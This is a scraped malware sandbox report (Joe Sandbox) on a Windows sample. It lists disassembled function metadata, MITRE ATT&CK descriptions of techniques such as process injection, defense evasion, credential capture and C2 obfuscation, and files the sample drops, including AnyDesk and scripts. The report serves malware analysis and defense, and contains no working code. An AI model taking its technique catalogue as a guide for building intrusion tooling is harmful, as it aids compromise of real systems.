Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: EnvironmentExpandStrings__wgetenv
String ID: HOME
API String ID: 2572209979-1195630948
Opcode ID: 0b2837d9362f2aed28e39ab467c4253902b0f0b9afdfdb688637a1ad179881be
Instruction ID: e8bc9c4d7f583cc9f2df07ce85aa24f2cb560f259faf5425eaf0b2cb18477d77
Opcode Fuzzy Hash: 0b2837d9362f2aed28e39ab467c4253902b0f0b9afdfdb688637a1ad179881be
Instruction Fuzzy Hash: EFF090B09082405BE724EB34DD46BAFB7E9AF54300F840828E5CA87180EABA9485C753

Function 0098AD70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0098AC50: GetStdHandle.KERNEL32(000000F4), ref: 0098AC66
Part of subcall function 0098AC50: GetFileType.KERNEL32(00000000), ref: 0098AC71
Part of subcall function 0098AC50: __vfwprintf_p.LIBCMT ref: 0098AC93

_raise.LIBCMT ref: 0098AD82

Part of subcall function 00A23BFA: __getptd_noexit.LIBCMT ref: 00A23C37

Part of subcall function 00A24200: _doexit.LIBCMT ref: 00A2420A

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 0098AD76
..\..\openssl\openssl\crypto\cryptlib.c, xrefs: 0098AD75

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s$..\..\openssl\openssl\crypto\cryptlib.c
API String ID: 2149077303-2999904273
Opcode ID: 30ac6d8ad495145a6c82cc6e7576aa48da566c5d75a5f280dc8a7498da95798f
Instruction ID: 44c864926110a4f4f3b17efb52fdd789e3caf512ab85d476597eab7bdf4d9102
Opcode Fuzzy Hash: 30ac6d8ad495145a6c82cc6e7576aa48da566c5d75a5f280dc8a7498da95798f
Instruction Fuzzy Hash: B5C02BA1940204BEF40833E42E03F3F21485B90F00F004C287308140C3648109001733

Function 00A14250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

FindWindowA.USER32(Pageant,Pageant), ref: 00A1425A

Strings

Pageant, xrefs: 00A14250
Pageant, xrefs: 00A14255

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: FindWindow
String ID: Pageant$Pageant
API String ID: 134000473-662308581
Opcode ID: 6ce164a1c9466d52d87ffc66915230e5d55b456845d42cb7d059eb6865103057
Instruction ID: 920a4c21544069a81836fa74254ebbb8ce1c084ba6947ea545dff271b29df232
Opcode Fuzzy Hash: 6ce164a1c9466d52d87ffc66915230e5d55b456845d42cb7d059eb6865103057
Instruction Fuzzy Hash: 45D017742003019FC710CF288918F883AE0BB5A724F0686A8F0588B2E0E77084009B48

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report eqRHH2whJu.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Intel\ 131.pdf

C:\Intel\AnyDesk\AnyDesk.exe

C:\Intel\AnyDesk\bat.bat

C:\Intel\AnyDesk\bat.lnk

C:\Intel\AnyDesk\wol.ps1

C:\Intel\Trays.rar

C:\Intel\Trays\4t-min.chm

C:\Intel\Trays\4t-min64.exe

C:\Intel\Trays\4t-min_pad.xml

C:\Intel\Trays\7z.dll

C:\Intel\Trays\File_id.diz

Windows Analysis Report
eqRHH2whJu.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre